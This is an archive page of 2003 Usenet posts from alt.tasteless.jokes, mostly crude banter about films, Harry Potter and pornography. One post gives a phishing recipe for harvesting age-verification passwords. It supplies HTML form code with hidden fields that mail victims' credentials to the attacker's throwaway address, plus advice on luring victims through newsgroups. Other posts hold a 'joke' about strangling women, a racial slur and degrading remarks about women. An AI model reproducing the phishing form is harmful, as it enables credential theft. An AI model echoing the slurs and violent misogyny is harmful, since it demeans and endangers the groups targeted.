    How are you going with reaching that goal?
    i've fucked over 200 women. then i got bored of it.
    But you haven't fucked over 500 men?
    i prefer to fuck them out of money.
    Women do that all the time
    and i strangle them to death.
    Why?

    because whores steal.

    --
    Be smart, do as I say - it will save your soul.
    *******************************
    Read the Official atj FAQ here:
    http://atjfaq.shorturl.com
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  • From Jesus@jesus@heaven.universe to alt.tasteless.jokes on Wednesday, July 02, 2003 02:13:41
    From Newsgroup: alt.tasteless.jokes

    On Tue, 01 Jul 2003 03:01:39 -0600, "-ES-|-M-" <m|-M-+|@+sSremover.com>
    wrote in message <hfj2gvogdbfkg6ljbjbo1j46rch9s9vohj@4ax.com>:
    On Fri, 27 Jun 2003 14:03:14 +0200, Jesus hurled ><s1ulfvk7uvl2bg8v24fsos996njqjbjm4i@4ax.com> into the abyss of >alt.tasteless.jokes, where it constantly lurks, whines, and trolls, crapping on
    society with 60 bandwidth-killing lines of moronic idiocy...
    On Thu, 26 Jun 2003 05:14:04 -0600, "-ES-|-M-" <m|-M-+|@+sSremover.com> >>wrote in message <7allfvolleba847hibsjrkjl7evu9pn2ce@4ax.com>:
    On Mon, 23 Jun 2003 08:55:58 +1000, Pollywolly hurled >>><bd5c61$vi$1@lust.ihug.co.nz> into the abyss of alt.tasteless.jokes, where it
    constantly lurks, whines, and trolls, crapping on society with 51 >>>bandwidth-killing lines of moronic idiocy...
    "-ES-|-M-" <m|-M-+|@+sSremover.com> wrote in message >>>>news:i1vbfvg2scj3cnuu704i165pbe1o027upq@4ax.com...
    On Sun, 22 Jun 2003 11:49:30 +1000, Pollywolly hurled
    <bd31ve$vf9$1@lust.ihug.co.nz> into the abyss of alt.tasteless.jokes, >>>>where it
    constantly lurks, whines, and trolls, crapping on society with 23
    bandwidth-killing lines of moronic idiocy...
    "Jesus" <jesus@heaven.universe> wrote in message
    news:q5g8fv89lj1nhembn9por9hiqk75h99905@4ax.com...
    On Fri, 20 Jun 2003 10:56:15 -0600, "-ES-|-M-" <m|-M-+|@+sSremover.com>
    wrote in message <e5f6fvss2j896a18bffkln1nh7k13909ue@4ax.com>:
    On Thu, 19 Jun 2003 17:27:08 +0200, Jesus hurled
    the one film technique I really loved was the updated car chase scene
    they
    did. i have never seen a film where the camera goes through the >>>>oncoming
    vehicle. so you're perpetually crashing into cars and trucks. that >>>>was
    awesome.
    Speed (also starring Keanu Reeves) was pretty exciting stuff, but >>>>this
    was
    the ultimate update on that genre.
    I have a feeling the real jaw-dropping effects will be in >>>>Revolutions..
    looking at it now, bullet time is quite a cheesy effect.
    next Harry Potter will be doing it.
    Hey! I like Harry Potter
    ..you probably stood in line for ten hours to be one of the first to get >>>>the new
    book
    Nah I walked in the second day - no lines then
    the funny thing was seeing a 2,000 book display the next day at a Sam's Club
    where the patient ones got to snag it for about $6.00 less than the cover price.
    next year I will buy it by it's weight in a second hand book shop.
    ..right now it's worth its weight in gummi bears

    someone posted an obituary in a local newspaper for the character who dies.

    there was a line at a Barnes & Noble that wrapped around the building >>>>twice..
    ..just to read about some braindead kids that wave magic wands
    The fact that J.K Rowling has managed to get a generation of kids to enjoy >>>>reading again is admirable. Kids like that kind of book.
    sure.. they also like to nail frogs by the feet to a fence post and throw darts
    at 'em. Kids need to be kept away from that hocus pocus fantasy shit and get a
    job delivering newspapers to pay for that car they'll want when they're sixteen.
    00s update: kids deal drugs in clubs to pay for their drug habit.
    yeah.. the paper delivery routes' are a cover for their distribution

    it's all done by cell phone.

    --
    Be smart, do as I say - it will save your soul.
    *******************************
    Read the Official atj FAQ here:
    http://atjfaq.shorturl.com
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  • From Keith E.@i.m.knot@aol.com to alt.tasteless.jokes on Wednesday, July 02, 2003 01:50:07
    From Newsgroup: alt.tasteless.jokes

    Tue, 01 Jul 2003 03:02:05 -0600 was a day just like any other,
    until "-ES-|-M-" <m|-M-+|@+sSremover.com> wrote:

    On Fri, 27 Jun 2003 20:45:29 GMT, Keith E. hurled ><12abb5e1f4b39f4be2f2dabec1d20190@news.1usenet.com> into the abyss of >alt.tasteless.jokes, where it constantly lurks, whines, and trolls, crapping on
    society with 17 bandwidth-killing lines of moronic idiocy...

    Fri, 27 Jun 2003 18:31:06 +1000 was a day just like any other,
    until "Pollywolly" <pollygirlnz@ihug.com.au> wrote:


    "Vanilla Gorilla (Monkey Boy)" <vgorilla@pobox.alaska.net> wrote in message >>>news:a3rkfvgpp2m125uco6polk2ak5d2404eve@4ax.com...

    Well, then, no Tupperware Party for you! Use your imagination. Be
    more ambitious. Show a little initiative.

    I show plenty of initiative - amongst other things.

    ..........show us yer tits........

    Spit's posted from Vegas before..

    you certain he's there?

    I have no idea where he is - probably in Sacremento, diligently
    working on the "Save Davis" campaign.

    --
    Keith E.
    Excrementum casus
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  • From Keith E.@i.m.knot@aol.com to alt.tasteless.jokes on Wednesday, July 02, 2003 01:50:13
    From Newsgroup: alt.tasteless.jokes

    Tue, 01 Jul 2003 02:57:25 -0600 was a day just like any other,
    until "-ES-|-M-" <m|-M-+|@+sSremover.com> wrote:

    On Thu, 26 Jun 2003 19:53:48 GMT, Keith E. hurled ><3ae9b6f4499aabd31a517f0d66d15ca8@news.1usenet.com> into the abyss of >alt.tasteless.jokes, where it constantly lurks, whines, and trolls, crapping on
    society with 29 bandwidth-killing lines of moronic idiocy...

    Thu, 26 Jun 2003 05:16:09 -0600 was a day just like any other,
    until "-ES-|-M-" <m|-M-+|@+sSremover.com> wrote:

    wanna harvest passwords to AVSs? Set up a subdirectory in a Geocities type >>>account with a pRon page, copy the HTML of a legit AVS and redirect to a >>>throwaway e-mail account by replacing their form code with:

    <FORM ACTION="/cgi-bin/formmail.pl" METHOD="POST" >>>ENCTYPE="application/x-www-form-urlencoded">
    <INPUT TYPE="HIDDEN" Name="username" Value="yourusername">
    <CENTER><INPUT NAME="subject" VALUE="AC Snarfed Code" TYPE=HIDDEN></CENTER> >>><CENTER><INPUT NAME="recipient" VALUE="youraddress@hotmail.com" >>>TYPE=HIDDEN></CENTER>
    <INPUT TYPE="HIDDEN" Name="redirect" >>>Value="http://yourwebhost.com/~yourpage/porno.htm">
    <INPUT size=30 maxlength=30 name="id"></td><td><center>
    <INPUT TYPE="submit" VALUE="Enter This Site!"></td></tr>

    ..throw up a few pics in alt.binaries._whatever_ with a link into your >>>subdirectory 'site' and check your e-mail account in a few days

    keep replacing the AVS with new ones and you'll have virtually unlimited access
    to hundreds of thousands of pages, fo flee!

    Or you can just d/l the newsgroup.

    ..that's filled with repeats, teasers, and spam for the fresh thumbnailed stuff
    on the internet

    Jeez, all you need is enough to keep your attention for five
    minutes.

    --
    Keith E.
    Excrementum casus
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  • From Keith E.@i.m.knot@aol.com to alt.tasteless.jokes on Wednesday, July 02, 2003 01:50:14
    From Newsgroup: alt.tasteless.jokes

    Tue, 01 Jul 2003 02:57:33 -0600 was a day just like any other,
    until "-ES-|-M-" <m|-M-+|@+sSremover.com> wrote:

    On Thu, 26 Jun 2003 19:53:52 GMT, Keith E. hurled ><0c1763a187a832465b928559550e121a@news.1usenet.com> into the abyss of >alt.tasteless.jokes, where it constantly lurks, whines, and trolls, crapping on
    society with 52 bandwidth-killing lines of moronic idiocy...

    Thu, 26 Jun 2003 05:18:25 -0600 was a day just like any other,
    until "-ES-|-M-" <m|-M-+|@+sSremover.com> wrote:

    On Mon, 23 Jun 2003 02:36:20 GMT, Keith E. hurled >>><6630168307d87206864b9dfbfffe16c4@news.1usenet.com> into the abyss of >>>alt.tasteless.jokes, where it constantly lurks, whines, and trolls, crapping on
    society with 36 bandwidth-killing lines of moronic idiocy...

    Sun, 22 Jun 2003 12:57:39 -0600 was a day just like any other,
    until "-ES-|-M-" <m|-M-+|@+sSremover.com> wrote:

    On Sat, 21 Jun 2003 16:50:25 GMT, Keith E. hurled >>>>><3e8289bb5f01ad518324acfe9fed1dbe@news.1usenet.com> into the abyss of >>>>>alt.tasteless.jokes, where it constantly lurks, whines, and trolls, crapping on
    society with 23 bandwidth-killing lines of moronic idiocy...

    Fri, 20 Jun 2003 10:56:35 -0600 was a day just like any other, >>>>>>until "-ES-|-M-" <m|-M-+|@+sSremover.com> wrote:

    On Fri, 20 Jun 2003 03:18:55 GMT, Keith E. hurled >>>>>>><371c32731b95a20d1be269275244bb72@news.1usenet.com> into the abyss of >>>>>>>alt.tasteless.jokes, where it constantly lurks, whines, and trolls, crapping on
    society with 43 bandwidth-killing lines of moronic idiocy...

    Thu, 19 Jun 2003 04:11:17 -0600 was a day just like any other, >>>>>>>>until "-ES-|-M-" <m|-M-+|@+sSremover.com> wrote:

    http://www.kfccruelty.com/images/usleaflet.pdf

    Tasty, huh?

    I was hoping one of the spices was finely ground powdered beaks..

    They package those, slap on a "rhino horn" label, and sell 'em to >>>>>>chinks.

    One could sell powdered birdseed as an 'aphrodisiac' in Mexico and be a >>>>>millionaire in a few weeks..

    Maybe, but a few weeks in Mexico? It ain't worth it.

    think _cheap_ 12pt Corona and more noncommital sex in a few weeks than could be
    had for a year in the states..

    ..especially Michigan <eg>

    HA! You don't know _nothin'_ 'bout farmers daughters!

    I kinda like the blond in the top row..

    http://theadboy.adultbouncer.com/boxcovers/farmersdaughters/

    Or Brush Street crack whores, for that matter.

    bet they milk it better than farmers' daughters!

    Desperation positively affects performance.

    --
    Keith E.
    Excrementum casus
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